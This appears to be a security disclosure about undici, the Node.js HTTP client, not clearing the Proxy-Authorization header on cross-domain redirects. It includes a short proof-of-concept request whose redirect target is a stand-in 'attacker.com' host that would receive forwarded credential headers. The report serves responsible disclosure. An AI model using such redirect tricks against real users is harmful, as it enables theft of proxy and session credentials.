Proxy-Authorization header is not cleared in cross-domain redirect in undici

## Steps To Reproduce: I read this security advisory https://github.com/nodejs/undici/security/advisories/GHSA-wqq4-5wpv-mx2g. It only clears authorization and cookie header during cross-domain redirect . {F3024496} As such this may lead to accidental leakage of "Proxy-Authorization" to a 3rd-party site. ```nodejs import { request } from 'undici' const { statusCode, headers, body } = await request('http://anysite.com/redirect.php?url=http://attacker.com:8182/vvv',{ maxRedirections: 3, headers: { "autHorization": 'tes123t', "coOkie": "ddd=dddd", "X-CSRF-Token": 't5k3zni6fbdqbnce58zbkh7c4o', 'Proxy-Authorization':'xxxxxxxx' }}) console.log('response received', statusCode) console.log('headers', headers) for await (const data of body) { console.log('data', data) } ``` {F3024501} You can refer to this python code. https://github.com/psf/requests/blob/main/src/requests/sessions.py#L318 References https://github.com/psf/requests/issues/1885 https://fetch.spec.whatwg.org/#authentication-entries ## Impact undici v6.5.0